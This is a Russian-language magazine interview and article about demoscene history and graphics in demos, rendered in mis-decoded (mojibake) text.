Ìàëåíüêèå èíòðî ïèñàëèñü ñðàçó íà Àññåìá-
ëåðå, à ÷òî êàñàåòñÿ æóðíàëîâ, � òî ýòî áûë Ïàñ-
êàëü ñ àññåìáëåðíûìè âñòàâêàìè.
Q: ÒÒàê ÿÿ æå îîáîæàþ ÏÏàñêàëü! AAsm è InLine ââå÷íî
ïðåáóäóò ââ íàøåé ïïàìÿòè. ÍÍàñ÷åò ææóðíàëîâ:
òû èìååøü ââ âèäó èèíòåðôåéñ?
A: Íå òîëüêî. ß, âîñïèòàííûé â òðàäèöèÿõ C64, ïû-
òàëñÿ ñëåäîâàòü ïðèìåðó ñòàðøèõ òîâàðèùåé. Äå-
ëî â òîì, ÷òî ýëåêòðîííûå æóðíàëû (diskmags) íà
C64 ñîäåðæàëè äàëåêî íå òîëüêî òåêñòû. Îáÿçà-
òåëüíîå èíòðî â íà÷àëå, êðàñèâîå ìåíþ, ïîÿâëå-
íèå òåêñòà ñ ðàçíûìè ýôôåêòàìè, ìóçûêà � âñå
ýòî òðåáîâàëî íå ìåíüøåãî (à òî÷íåå � áîëüøåãî)
âðåìåíè, ÷åì ïîäáîð ìàòåðèàëîâ.
Q: ÈÈ êêòî ïïîñëå ýýòîãî ññêàæåò, ÷÷òî Ïàñêàëü � ääëÿ
ñòóäåíòîâ?! ÍÍó ÷÷òî ææå, ííàâåðíîå, õõâàòèò îîëäñêóëà,
ïåðåéäåì ââ ááîëåå ïïîçäíèå ââðåìåíà. ÒÒû ììîæåøü
îòìåòèòü îîñíîâíûå ââåõè ââ èèñòîðèè ääåìîìåéêèíãà?
Èëè æå ýýòî ïïðîöåññ ííåïðåðûâíûé, õõîòü 
è ññâÿçàííûé ññ ïðîãðåññîì êêîìïîâ?
A: ×åòêèå âåõè áûëè. Ïî áîëüøåé ÷àñòè îíè ñâÿçà-
íû ñî ñìåíîé ïëàòôîðì. Îñíîâíàÿ âåòâü âûãëÿäèò
òàê: Commodore 64! Commodore Amiga! IBM PC.

Êîíå÷íî, ýòî íå îçíà÷àåò, ÷òî íà äðóãèõ
ïëàòôîðìàõ íå áûëî äåìîñöåíû (ñêàæåì, â Ðîñ-
ñèè âîîáùå áîëüøàÿ ÷àñòü âñåãî, ñâÿçàííîãî ñ äå-
ìî, áûëà íàïèñàíà äëÿ ZX Spectrum). Íî âñå-òàêè
îñíîâíàÿ ìèðîâàÿ êóëüòóðà è òðàäèöèè äåìîñöå-
íû ñôîðìèðîâàëèñü íà ýòèõ òðåõ ïëàòôîðìàõ.

Íà÷àëîñü âñå íà C64. Íî èç-çà àïïàðàòíûõ
îãðàíè÷åíèé äåìî â ñîâðåìåííîì âèäå (òî åñòü
íå÷òî ñ íåïðåðûâíûì äåéñòâèåì, ñèíõðîíèçàöèåé
ñ ìóçûêîé, òðåõìåðíûìè ñöåíàìè) ïðîñòî íå ìîã-
ëè âîçíèêíóòü.

Ñ ïîÿâëåíèåì Commodore Amiga ìíîãîå èç
ýòîãî ñòàëî âîçìîæíûì (îñíîâíîé øàã � track-

mo � äåìî â âèäå äèíàìè÷íîãî êëèïà, êîòîðûé
ñìîòðèòñÿ «íà îäíîì äûõàíèè»).

PC ïðèíåñ íà äåìîñöåíó àïïàðàòíóþ íåñîâ-
ìåñòèìîñòü (âñå ìàøèíû ÷åì-òî îòëè÷àþòñÿ),
ìîùíûé ïðîöåññîð, ìíîãî ïàìÿòè. À òàêæå (è ýòî
îêàçàëî ñèëüíîå âëèÿíèå) � îáùåäîñòóïíûé èí-
òåðíåò, òî åñòü âîçìîæíîñòü ëåãêî îáìåíèâàòüñÿ
îïûòîì è èñõîäíèêàìè. ß áû äàæå ñêàçàë � òèðà-
æèðîâàòü èõ.
Q: ÀÀ ññåé÷àñ-òòî ààìèæíèêè ææèâû? ÍÍàâåðíîå, ææèâû
è ïïðîöâåòàþò? ÓÓ ìåíÿ ååñòü ççíàêîìûé
ñïåêòðóìèñò, îîí òòàê èè ñèäèò ííà ñâîåì ññïåêå,
ïèøåò ïïèñüìà ââ èíåò ÷÷åðåç ôôèäîøíûé ããåéò.
A: Æèâû, íî ÿ áû íå ñêàçàë ÷òî ïðîöâåòàþò. Â Ðîñ-
ñèè íè Amiga, íè Commodore 64 íå ïðèæèëèñü. C64
áûëî ïðîñòî î÷åíü ìàëî, à ñ Àìèãàìè ïîëó÷èëîñü
äîâîëüíî ñòðàííî � íàðîäó ïîðÿäî÷íî, íî òåõ, êòî
ìîæåò ÷òî-òî ñîçäàâàòü � åäèíèöû. 

Âîò ñî Ñïåêòðóìîì â Ðîññèè ñîâñåì èíàÿ ñè-
òóàöèÿ � ðåãóëÿðíî ïîÿâëÿþòñÿ äåìêè.

À íà Çàïàäå äî ñèõ ïîð ïèøóò êàê äëÿ Com-
modore 64, òàê è äëÿ Amiga. Êîíå÷íî ýòî óæå ôàíà-
òñòâî, íî, òåì íå ìåíåå, ðàáîòû ðåãóëÿðíî ïîÿâëÿ-
þòñÿ. Ñïåêòðóì òàì, ñ òî÷êè çðåíèÿ äåìîñöåíû,
êàê-òî íå îñîáî ïðèæèëñÿ. Íà åãî ìåñòå áûë C64.
Q: ÑÑîãëàñåí ààáñîëþòíî: ïïî êêîëè÷åñòâó êêëîíîâ
Ñïåêêè ììû ââïåðåäè ïïëàíåòû. ÀÀ ÷òî ææå ññ ÐÐÑ? ÊÊàêîé
ïåðèîä ââ ääåìîìåéêèíãå ááûë ññàìûì ïïëîäîòâîðíûì?
×òî-òòî ããîâîðÿò ïïðî ««Çîëîòîé ââåê», êîòîðûé
çàêîí÷èëñÿ, àà òòåïåðü �� ÷÷óòü ëëè ííå ççàêàò ññöåíû...
A: Äóìàþ, ÷òî èíòåðåñíûì áûë ïåðèîä ïåðâûõ
Assembly � 1992, 1993 ãîäà. Êàê ñ òî÷êè çðåíèÿ
PC, òàê è ñ òî÷êè çðåíèÿ Amiga.

Òîãäà ýòè äâå ïëàòôîðìû äåéñòâèòåëüíî ñî-
ðåâíîâàëèñü ìåæäó ñîáîé.

State of the Art íà Amiga, Second Reality íà
PC � ìíîãèì çíàêîìû ýòè íàçâàíèÿ.

Ïîòîì áûë äîâîëüíî ñåðüåçíûé ïðîâàë, ÿ áû
äàæå ñêàçàë � ðàçî÷àðîâàíèå. Ìíîãèå ïðîñòî
øòàìïîâàëè äåìêè íà îñíîâå ÷óæèõ èñõîäíèêîâ è
êîïèðîâàëè óâèäåííûå ðàíåå ýôôåêòû è èäåè. Íî
âîò ïîñëåäíèå ãîäû íàáëþäàåòñÿ íîâûé ïîäúåì.
Øèðîêî ðàñïðîñòðàíèëèñü ìîùíûå âèäåîêàðòû, è
intro/demo ñòàëè íàïîìèíàòü ïîëíîöåííûå âèäå-
îêëèïû, à ïîðîé äàæå ôèëüìû.
Q: ÏÏîñëåäíèå ããîäû � ýýòî 05-006? ÒÒî åñòü òòû
ñ÷èòàåøü, ÷÷òî ññîâðåìåííûå ääåìû � ýýòî ññêîðåå
çàñëóãà ííîâûõ òòåõíîëîãèé? ÈÈëè ââñå-òòàêè
êðåàòèâíûå èèäåè òòîæå èèìåþò ììåñòî?
A: ß ñêàçàë, ÷òî òåõíîëîãèè ïîìîãëè ñäåëàòü ýòîò
ñêà÷îê. Íî, ðàçóìååòñÿ, ñâåæèå èäåè òîæå ïðèñóò-
ñòâóþò. Ïðîñòî òåïåðü îíè ëåæàò â äðóãîé ïëîñêîñ-
òè. Ðàíüøå èäåè âåðòåëèñü âîêðóã òîãî, êàê, íå
èìåÿ íè ìîùíîñòåé, íè õîðîøåé ãðàôèêè, çàèíòå-
ðåñîâàòü çðèòåëÿ. È â ðàñ÷åò áðàëè çðèòåëÿ, êîòî-
ðûé ïîíèìàåò, êàê óñòðîåí êîìïüþòåð (íàïðèìåð,
èìåëè ñìûñë íàäïèñè òèïà «ôèãóðà èç 12334457
ïèêñåëîâ»). Ñåé÷àñ ýòî èçìåíèëîñü. Òåïåðü ðàñ-
ñ÷èòûâàþò ïðîñòî íà èíòåðåñóþùèõñÿ. È ñëàáî îã-
ðàíè÷åíû â ñðåäñòâàõ îòîáðàæåíèÿ. Äåìêè ñòàëè
áëèæå ê âèäåîêëèïàì è àíèìàöèîííûì ðîëèêàì, íî,

êîíå÷íî, âñå ðàâíî îíè îò íèõ âåñüìà äàëåêè (ñíîâà
ïî òåì æå ïðè÷èíàì � àïïàðàòíûå îãðàíè÷åíèÿ).

Ëè÷íî ÿ ñ÷èòàþ ïðèìåðàìè ðàáîò ýòîãî íî-
âîãî ïîêîëåíèÿ � The Popular Demo, Paradise.
Q: ÀÀ èèç ääåìîìåéêåðîâ/êîìàíä êêîãî ááû òòû ââ ííàøå
âðåìÿ ââûäåëèë?
A: RGBA, Farbrausch, Kewlers, Conspiracy, ASD,
Plastic, MFX.
Q: ÎÎáùàëñÿ ññ ííèìè? ÐÐàññêàæè êêðàòåíüêî îî êêîì-
íèáóäü: ÷÷òî ççà ëëþäè, êêàêîå îîáðàçîâàíèå
ïîëó÷èëè, êêàê ääîøëè ääî òòàêîé ææèçíè èè ÷÷åì, êêðîìå
äåìîìåéêèíãà, ææèâóò.
A: Èç îòå÷åñòâåííûõ îáùàëñÿ ñ Crolyx, Fox.
Q: ÊÊðîëèêñ � ýýòî ææå ííàçâàíèå êêîìàíäû?
A: Äà, êîìàíäà. Çíàêîì ÿ ñ íèìè íå òàê òåñíî �
íå çíàþ äåòàëåé. Âïðî÷åì, çíàþ, ÷òî Êðîëèêñû èç
Ñàìàðû, à Fox (ýòî íå ãðóïïà, à ÷åëîâåê) � èç Êðàñ-
íîÿðñêà. Êðîìå äåìîìåéêèíãà ìíîãèå ñâÿçàíû
ñ ðàçðàáîòêîé èãð, ïîñêîëüêó ýòî ñìåæíîå çàíÿòèå.
Q: ËËèíêñ èèç ÊÊðîëèêñà, ïïî-ììîåìó, èèç áðàòñêîé
Áåëîðóññèè. ÄÄîâåëîñü ññ ííèì ïïîîáùàòüñÿ ��
âåñåëûé ïïàðåíü.
A: Íó âîò, òåì áîëåå � òû ëó÷øå ìåíÿ çíàåøü :).
Òàê èëè èíà÷å, Êðîëèêñû óñòîé÷èâî äåðæàò ïåðâå-
íñòâî íà îòå÷åñòâåííîé äåìîñöåíå.
Q: ÎÎ'êåé, ííå ááóäåì îî ëëþäÿõ, ááóäåì îî êêîäèíãå.
Ìû � ïïðàêòè÷åñêè-îîðèåíòèðîâàííûé ææóðíàë, 
è ííàøèì ÷÷èòàòåëÿì ááóäåò êêðàéíå èèíòåðåñíî
çíàòü, ÷÷åìó ííàäî óó÷èòüñÿ, ÷÷òîáû ññòàòü êêðóòûì
äåìî-êêîäåðîì: êêàêèå êêíèæêè ÷÷èòàòü, ííà êêàêèå
ñàéòû õõîäèòü èè ññ êêåì ääðóæèòü.
A: Êðóòûìè îáû÷íî ñòàíîâÿòñÿ òå, êòî îá ýòîì íå
äóìàåò. Ïîòîìó ÷òî âñå ìûñëè î êîäèíãå, à î êðó-
òîñòè äóìàòü íå óñïåâàþò.

Ëó÷øå âñåãî, ÿ äóìàþ, ó÷èòüñÿ íà ïðèìåðàõ.
Ñìîòðåòü, êàê ÷òî-òî ñäåëàíî, ðàçáèðàòüñÿ, êî-
ïàòüñÿ â èñõîäíèêàõ èëè êîäå. ×èòàòü ðàçíîîáðàç-
íóþ äîêóìåíòàöèþ, íàïðèìåð, ïî DirectX. Ñåé÷àñ
ðåãóëÿðíî ïîÿâëÿþòñÿ ñòàòüè ñàìèõ äåìîìåéêå-
ðîâ. Íà ìîé âçãëÿä, ñàìàÿ áîëüøàÿ îïàñíîñòü �
êîïèðîâàíèå ÷óæèõ èäåé.
Q: ÅÅñòü êêàêàÿ-òòî êêíèãà èèëè ððåñóðñ, êêîòîðûé
ïðîèçâåë ííà òåáÿ ááîëüøîå ââïå÷àòëåíèå?
A: Ñàìûå èíòåðåñíûå ñòàòüè è êóñêè êîäà ÿ âñòðå-
÷àë íà ñàéòàõ, ãäå êðîìå íèõ áîëüøå íè÷åãî íå áû-
ëî :). Ìîÿ ðåêîìåíäàöèÿ � Google è âïåðåä. 

Åñòü ñàéòû, êîòîðûå â ëþáîì ñëó÷àå ñòîèò
ïîñåùàòü:  http://www.ojuice.net/ , http://www.pouet.net ,
http://www.scene.org, http://www.demoscene.ru , http://no-
scene.org.ru. À äàëüøå óæå ïî ññûëêàì îòòóäà.
Q: ÍÍàïîñëåäîê � ëëè÷íûé ââîïðîñ. ÊÊàê òòâîå
ñåìåéñòâî îîòíîñèòñÿ êê êêîäèíãó èè ääåìîìåéêèíãó?
Ïîäðóãà/æåíà ííå ððåâíóåò òòåáÿ êê ýýòîìó ääåëó?
A: Ïðåæíÿÿ ïîäðóãà íåñêîëüêî íàïðÿãàëàñü íà
êîìïüþòåðû âîîáùå. Áåç äåëåíèÿ íà äåìîñöåíó è
âñå îñòàëüíîå. Ñîáñòâåííî, ïîíÿòíî ïî÷åìó.
Â äàííûé æå ìîìåíò òàðàêàíû íå èìåþò íè÷åãî
ïðîòèâ äåìîñöåíû.
Q: ÂÂîò ýýòî ììóæñêîé îîòâåò. ÑÑïàñèáî ççà èèíòåðâüþ,
áûëî ïïðèÿòíî ïïîîáùàòüñÿ.
A: Ñïàñèáî!
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Íà ñàìîì äåëå, â äåòàëÿõ ðàññêàçûâàòü èñòîðèþ âîç-
íèêíîâåíèÿ äåìîñöåíû â ýòîé ñòàòüå ÿ íå áóäó, ïîñ-
êîëüêó â èíòåðíåòå è òàê ñëèøêîì ìíîãî ìàòåðèàëà
íà ýòó òåìó. Îñîáî èíòåðåñóþùèìñÿ ëþäÿì, âëàäå-
þùèì àíãëèéñêèì ÿçûêîì è îòÿãîùåííûì ëèøíèìè
35 åâðî, ÿ ìîãó ïîñîâåòîâàòü çàêàçàòü ñåáå êíèæêó
ïî èñòîðèè äåìîñöåíû è àëüáîì ðèñîâàííîé äåìîñ-
öåíåðñêîé ãðàôèêè Freax (http://freax.hu). Îòìå÷ó
ëèøü, ÷òî òåíäåíöèÿ ðàçâèòèÿ çäåñü ñòàíäàðòíà äëÿ
âñåãî êîìïüþòåðíîãî èñêóññòâà � îò ïðîñòîãî
ê ñëîæíîìó. Âñå ëîãè÷íî: ðàñòóò âîçìîæíîñòè êîìïü-
þòåðíîãî æåëåçà � ðàçâèâàåòñÿ êðåàòèâíàÿ ìûñëü
äåìîñöåíåðà. ×òî áûëî â íà÷àëå? À â íà÷àëå áûëè
cracktro ïîä C64. Ïðåäñòàâëÿëè îíè ñîáîé ìàëåíüêèå
ïðîãðàììóëüêè â âèäå îäíîé ïèêñåëüíîé (à êàêîé æå
åùå?) êàðòèíêè, îäíîé (èëè íåñêîëüêèõ) ìåëîäèé è
êó÷è òåêñòà â âèäå âñåâîçìîæíûõ «áåãóùèõ ñòðîê».
Ñîáñòâåííî, âñå òâîð÷åñòâî crack-ñöåíû íà÷èíàëîñü
ñ òîãî, ÷òîáû êàê ìîæíî íåîáû÷íåé è ýôôåêòíåé
ïðåäñòàâèòü óâàæàåìîé ïóáëèêå ñâîþ ëîìàëêó äëÿ
ñîôòà. Ñî âðåìåíåì òâîð÷åñêàÿ ÷àñòü îòìåæåâà-
ëàñü, ïåðåîïðåäåëèëàñü, è ñôîðìèðîâàëîñü íåêîå
ïîäîáèå äåìîñöåíû. Íàðîä ñòàë óâëå÷åííî ñîïåðíè-
÷àòü äðóã ñ äðóãîì â ìàñòåðñòâå âûæèìàíèÿ ñîêîâ èç
ôèêñèðîâàííûõ êîíôèãóðàöèé êîìïîâ, â èñïîëüçî-
âàíèè íîâûõ êîíöåïòîâ â äèçàéíå è òîìó ïîäîáíûõ
íîìèíàöèÿõ. Õóäîæåñòâåííàÿ è ìóçûêàëüíàÿ ñöåíû
îñîáî íå âûäåëÿëèñü è áûëè ÷àñòüþ îäíîé ÄåìîÑöå-
íû. Ëþäè ñáèâàëèñü â êîìàíäû è áîðîëèñü çà ïðàâî
íàçûâàòüñÿ ñàìûìè ïîïóëÿðíûìè è ñàìûìè ëó÷øè-
ìè. Áûëî âåñåëî. Ñìîòðèøü äåìêó � à òàì ïüÿíåíü-

êèé íîñàòûé ìóæè÷îê áåãóùåé ñòðîêîé ñàìûìè ïîñ-
ëåäíèìè ñëîâàìè êðîåò íåêóþ êîìàíäó Õ. À ÷åðåç
íåäåëüêó âîçüìåøü ó êîãî-íèáóäü äèñêåòêó ñî ñâåæè-
ìè äåìàìè, à òàì óæå, ñîîòâåòñòâåííî, êîìàí-
äà Õ êðîåò áåãóùåé ñòðîêîé àâòîðîâ òîãî ìóæè÷êà.
Çàíèìàòåëüíûé êðåàòèâ! Â îáùåì, ãðàôèêà â äå-
ìàõ � âåùü íåîáõîäèìàÿ, íî íå îïðåäåëÿþùàÿ äå-
ìó êàê òàêîâóþ. Äîëæíà áûòü èäåÿ è òâîð÷åñêàÿ íàï-
ðàâëåííîñòü�

ñ ÷÷åãî ííà÷èíàåòñÿ ÄÄÅÌÎ. Âî-ïåðâûõ, ïîä äå-
ìîé â ëþáîì ñëó÷àå ïîäðàçóìåâàþò àíèìàöèþ (ñîã-
ëàñèñü, îáû÷íóþ êàðòèíêó íèêòî äåìîé íå íàçîâåò).
À âîò åñëè ýòó êàðòèíêó â ðåæèìå ðåàëüíîãî âðåìå-
íè ìîðôèòü, áëóðèòü è âñÿ÷åñêè êîëáàñèòü, òî ýòî
óæå äåìî� Êîíå÷íî, ïî ñåãîäíÿøíèì ìåðêàì î÷åíü
ïðîñòîå, íî âñå æå äåìî. À åñëè óæ âñå äåéñòâèå
ïðîèñõîäèò ïîä ìóçûêó � ðåñïåêò! Íà exUSSR äå-
ìîïàòè âîéäåò â ïåðâóþ 10-êó. Ýòî � òàê íàçûâàå-
ìûå 2D-ýôôåêòû. Ñ íèõ âñå íà÷èíàëîñü, îíè � íî-
ñèòåëè àòìîñôåðû äåìîê 90-õ, è èìåííî ïî íèì ÿ
ïîðîé ñêó÷àþ â ïðîöåññå ïðîñìîòðà ñîâðåìåííûõ
òâîðåíèé, õîòÿ ñåé÷àñ îíè ïðîèçâîäÿò ãîðàçäî
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ãðàôèêà
â ääåìî

ÃÐÀÔÈÊÀ Â ÄÅÌÀÕ� ÃÐÀÔÈÊÀ Â ÄÅÌÀÕ... ÌÌÌÌ..
×ÒÎ-ÒÎ ÍÅ ÒÎ.. ÂÅÄÜ ÄÅÌÛ � ÝÒÎ È ÅÑÒÜ

«ÃÐÀÔÈÊÀ»?! ÈËÈ ÍÅÒ? ÌÎÆÍÎ ÆÅ ÑÊÀÇÀÒÜ, ×ÒÎ
ÑÎ×ÅÒÀÍÈÅ ÌÓÇÛÊÈ È ÃÐÀÔÈÊÈ � ÄÅÌÀ? ÌÎÆÍÎ.

ÄÀÆÅ ÏÐÎÑÒÎ «ÃÐÀÔÈÊÀ» ÁÅÇ ÌÓÇÛÊÈ ÌÎÆÅÒ ÁÛÒÜ
ÄÅÌÎÉ. Ó ÌÅÍß, ÍÀÏÐÈÌÅÐ, ÍÈÊÎÃÄÀ ÍÅ ÁÛËÎ GUS`A
(ÝÒÎ ÒÀÊÀß ÑÖÅÍÅÐÑÊÀß ÇÂÓÊÎÂÀß ÊÀÐÒÀ), ÍÎ ÑÀÌÈ
ÄÅÌÛ ÍÅÏËÎÕÎ ÇÀÏÓÑÊÀËÈÑÜ È ÑÌÎÒÐÅËÈÑÜ È ÁÅÇ

ÌÓÇÛÊÈ. ÊÑÒÀÒÈ, ÍÎÌÈÍÀÖÈß 512B INTRO (Î ÍÅÉ ÌÛ
ÏÎÃÎÂÎÐÈÌ ÍÈÆÅ) ÍÅ ×ÀÑÒÎ ÁÀËÓÅÒ ÇÐÈÒÅËß

ÌÓÇÛÊÀËÜÍÛÌ ÑÎÏÐÎÂÎÆÄÅÍÈÅÌ. ÍÎ ×ÒÎ ÆÅ
ÒÎÃÄÀ ÏÎËÓ×ÀÅÒÑß � ËÞÁÀß ÃÐÀÔÈÊÀ ÅÑÒÜ ÄÅÌÎ?

ÍÀÄÎ ÐÀÇÎÁÐÀÒÜÑß!
Lynx

GLITCH 
by Kewlers
X-MIX 2004

by MFX Kewlers
TYPOGRAPHICS

by Kewlers



ìåíüøå ýôôåêòà, âåäü ó âñåõ åñòü èíåò, â êîòîðîì
ëåæèò êó÷à ðèñîâàííûõ êàðòèíîê, à ó ìíîãèõ èìåþò-
ñÿ â íàëè÷èè è ãðàôè÷åñêèå ïëàíøåòêè� Ïèêñåëü-
íàÿ ãðàôèêà íå àêòóàëüíà. Íàëè÷èå íà ýêðàíå êðà-
ñèâîé ðèñîâàííîé ìûøêîé êàðòèíêè íå âûçûâàåò
òîãî âîñòîðãà, êàêîé áûë â òå âðåìåíà, êîãäà ïîäîá-
íûå êàðòèíêè êîëëåêöèîíèðîâàëè è çíàëè âñåõ
êîìïüþòåðíûõ õóäîæíèêîâ ïî íèêàì. Íå ñêàæó, ÷òî
ýòî ïëîõî, âåäü ýòî ïðîãðåññ, íî âñå-òàêè ãðóñòíî� 

Ñ ïîÿâëåíèåì àêñåëåðàòîðîâ è ïèêñåëüíûõ
øåéäåðîâ äåìû ñòàëè áîëüøå íàïîìèíàòü òåõíîëî-
ãè÷åñêèå òåñòû, à íå äóøåâíóþ íàðîäíóþ æèâîïèñü.
Ïîâòîðþñü, äåìîñöåíà � ýòî íàðîäíîå òâîð÷åñòâî.
Ïîíèìàåøü? Çäåñü íåò ïðàâèë, ðåãëàìåíòîâ, çàêî-
íîâ èëè òàáó (êðîìå ïîëèòèêè), åñòü òîëüêî òðàäè-
öèè. Îäíîé èç òðàäèöèé, êñòàòè, ÿâëÿåòñÿ ñòðåìëå-
íèå ïîëîìàòü âñå òðàäèöèè è ñäåëàòü ÷òî-íèáóäü èç
ðÿäà âîí âûõîäÿùåå. Ýòî îäíà èç ïðè÷èí, ïî÷åìó
äåìîñöåíà çàòÿãèâàåò è äîëãî íå îòïóñêàåò, çàñòàâ-
ëÿÿ íîñòàëüãèðîâàòü ïî «áûëûì âðåìåíàì». 

Ñëèøêîì àáñòðàêòíî? Ëàäíî, ïðèìåð. Ñìîò-
ðèì äåìû, òèïè÷íûå äëÿ ñâîåãî âðåìåíè: Future

Confused by Procreation, Spleen by Marshals, Chrome
by Damage.

Êðàñèâîå ñî÷åòàíèå ðèñîâàííîé 2D-ãðàôèêè,
ðåíäåðèíãà ïðîñòåíüêèõ 3D-ìîäåëåé, ñöåí ïðîëå-
òà íàä ìåñòíîñòüþ (fly by), ïðèòÿíóòàÿ çà óøè îá-
ùàÿ òåìà èëè ïîëíîå îòñóòñòâèå òàêîâîé. Íî â öå-
ëîì � êðàñèâî, ïðèÿòíî, è õî÷åòñÿ ïîñìîòðåòü åùå
ðàç. À òåïåðü ñìîòðèì ýòî: 

1  Glitch by Kewlers (ftp://ftp.scene.org/pub/parties/2003/
stream03/demo/kwl_itch.zip);

2  X-Mix 2004 by MFX Kewlers (http://www.pouet.net/
prod.php?which=12028);

3Typo Graphics by Kewlers (ftp://ftp.scene.org/pub/
parties/2004/scene_event04/demo/typo_graphics_by_kewlers.zip).

Êîíòðàñòíî, íå ïðàâäà ëè? Äèíàìèêà, èííî-
âàöèÿ, ñìåëîñòü ðåøåíèÿ! Íó êàê ïîñëå ýòîãî ìîæ-
íî ãîâîðèòü î ãðàôèêå è äèçàéíå íà äåìîñöåíå
îáîáùåííî?! Ñêîëüêî êîìàíä, ñòîëüêî è âîçìîæ-
íûõ ïîäõîäîâ. Ñóùåñòâóþò, êîíå÷íî, êàêèå-òî íàè-
áîëåå ÷àñòî èñïîëüçóåìûå ïðèåìû è ýôôåêòû, íî
èõ êîìáèíàöèè â óìåëûõ ðóêàõ ðîæäàåò íåïîâòîðè-
ìûå øåäåâðû.
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Òåì íå ìåíåå, ïîñòàðàþñü õîòü êàê-òî ñòðóê-
òóðèðîâàòü âàðèàíòû ãðàôèêè â äåìàõ (ÿ èìåþ â
âèäó òîëüêî PC). Íå óâåðåí, ÷òî ïîëó÷èòñÿ, íî ïîï-
ðîáîâàòü ñòîèò. Èòàê�

� 225566 ÁÁÀÀÉÉÒÒ. ÎÖÅÍÈÂÀÅÒÑß ÒÎËÜÊÎ 
ÓÌÅÍÈÅ ÊÎÄÅÐÀ ÂÏÈÕÍÓÒÜ Â ÒÀÊÎÉ
ÐÀÇÌÅÐ ×ÒÎ-ËÈÁÎ. ÂÎÇÌÎÆÍÛ 
ÄÂÀ ÂÀÐÈÀÍÒÀ:

1 ÌÍÎÃÎ ÌÀËÅÍÜÊÈÕ, ÏÐÎÑÒÅÍÜÊÈÕ 
È ÎÄÍÎÒÈÏÍÛÕ ÝÔÔÅÊÒÎÂ;

2 ÎÄÈÍ, ÍÎ ÑËÎÆÍÛÉ. ÌÎÆÅÒ ÁÛÒÜ
ÏÑÅÂÄÎ-3D.

� 551122 ÁÁÀÀÉÉÒÒ ÄÄÅÅÌÌÎÎ. ÎÖÅÍÈÂÀÅÒÑß 
ÒÎ ÆÅ ÑÀÌÎÅ. ÂÀÐÈÀÍÒÛ, Â ÏÐÈÍÖÈÏÅ, 
ÒÅ ÆÅ, ÍÎ Â ÒÀÊÎÅ ÏÐÎÑÒÐÀÍÑÒÂÎ 
ÄÎÁÀÂËßÅÒÑß ÂÎÇÌÎÆÍÎÑÒÜ 
ÂÏÈÕÍÓÒÜ 3D-ÑÖÅÍÊÓ. À 3D-ÄÂÈÆÎÊ 
Ñ Z-ÁÓÔÔÅÐÎÌ Â 512 ÁÀÉÒ � ÝÒÎ, 
ÇÍÀÅÒÅ ËÈ, ÂÏÅ×ÀÒËßÅÒ ÑÀÌÎ ÏÎ ÑÅÁÅ,
ÍÅÂÇÈÐÀß ÍÀ ÎÒÂÐÀÒÍÓÞ ÊÀÐÒÈÍÊÓ.

� 44 ÊÊÁÁ ÄÄÅÅÌÌÎÎ. ÒÓÒ ÏÎÑÂÎÁÎÄÍÅÅ. 
3D-ÄÂÈÆÎÊ, ÈÍÒÅÐÅÑÍÛÅ ÒÅÊÑÒÓÐÛ,
ÌÓÇÛÊÀ, ÏÎßÂËßÅÒÑß ÌÅÑÒÎ ÄËß
ÄÈÇÀÉÍÅÐÀ, ÍÎ ÊÎÄÅÐ ÏÎ-ÏÐÅÆÍÅÌÓ
ÎÑÒÀÅÒÑß ÖÅÍÒÐÀËÜÍÎÉ ÔÈÃÓÐÎÉ. 
ÎÑÍÎÂÛÂÀÞÒÑß ÒÀÊÈÅ ÄÅÌÛ ÍÀ
ÐÅÀËÈÇÎÂÀÍÛÕ Â ÄÂÈÆÊÅ ÝÔÔÅÊÒÀÕ.
ÏÐÀÂÄÀ, Â 4 ÊÁ ÎÑÎÁÎ ÍÅ ÐÀÇÃÓËßÅØÜÑß,
È ×ÀÑÒÎ ÝÒÈ ÄÅÌÛ ÏÐÅÄÑÒÀÂËßÞÒ 
ÑÎÁÎÉ 2�3 ÑÖÅÍÊÈ ÍÀ OPENGL-ÄÂÈÆÊÅ
Ñ ÏÐÎÑÒÛÌÈ ÒÅÊÑÒÓÐÀÌÈ È ÎÁÚÅÊÒÀÌÈ
ÈÇ ÏÐÈÌÈÒÈÂÎÂ (ØÀÐÈÊÈ, ÊÓÁÈÊÈ,
ÁÓÁËÈÊÈ). ÍÎ ÒÅÕÍÈ×ÅÑÊÀß ÌÛÑËÜ
ÍÅ ÑÒÎÈÒ ÍÀ ÌÅÑÒÅ, È ÑÅÉ×ÀÑ ÌÎÆÍÎ
ÓÂÈÄÅÒÜ ÌÎÙÍÛÅ ÂÅÙÈ ÒÈÏÀ SQUISH4K.

� 6644 ÊÊÁÁ ÄÄÅÅÌÌÎÎ.. ÂÎÎÎÎÎ! ÄËß ÌÍÎÃÈÕ 
ÓÂËÅ×ÅÍÍÛÕ ÄÅÌÎÑÖÅÍÎÉ ËÞÄÅÉ ÝÒÎ
×ÈÑËÎ ßÂËßÅÒÑß ÑÀÌÛÌ ÈÍÒÅÐÅÑÍÛÌ.
ÏÎ×ÅÌÓ? ÄÀ ÏÎÒÎÌÓ ×ÒÎ ß ÄÀÆÅ ÍÅ
ÏÐÅÄÑÒÀÂËßÞ, ÊÀÊ ÌÎÆÍÎ ÂÏÈÕÍÓÒÜ
Â 64 ÊÈËÎÁÀÉÒÀ ÊÂÀÐÒÅÒ ÈÇ ×ÅÒÛÐÅÕ
ÎÁÅÇÜßÍÎÊ, ÈÃÐÀÞÙÈÕ ÍÀ ÐÀÇÍÛÕ
ÐÅÀËÈÑÒÈ×ÍÎ ÇÂÓ×ÀÙÈÕ ÌÓÇÛÊÀËÜÍÛÕ
ÈÍÑÒÐÓÌÅÍÒÀÕ, ÍÀ ÔÎÍÅ ÄÈÍÀÌÈ×ÍÎ
ÈÇÌÅÍßÞÙÅÃÎÑß ÏÅÉÇÀÆÀ ÑÎ ÑÊÀËÀÌÈ
È ÄÆÓÍÃËßÌÈ! ÏÎËÅÒ ÔÀÍÒÀÇÈÈ 
ÄÈÇÀÉÍÅÐÀ ÑÈÌÂÎËÈ×ÅÑÊÈ
ÎÃÐÀÍÈ×ÅÍ � ÍÅËÜÇß ÈÑÏÎËÜÇÎÂÀÒÜ
ÐÈÑÎÂÀÍÍÓÞ 2D-ÃÐÀÔÈÊÓ (ÐÀÑÒÐÎÂÛÅ
ÊÀÐÒÈÍÊÈ ÇÀÍÈÌÀÞÒ ÌÍÎÃÎ ÌÅÑÒÀ).
ÄÈÇÀÉÍ È ÃÐÀÔÈÊÀ� ÄÀ, ÈÕ ÍÅËÜÇß
ÇÀÃÍÀÒÜ Â ÐÀÌÊÈ! ÏÎÝÒÎÌÓ ÄÅÌÛ
ÄÀÆÅ ÍÀ ÎÄÍÎÌ ÄÅÌÎÒÓËÇÅ
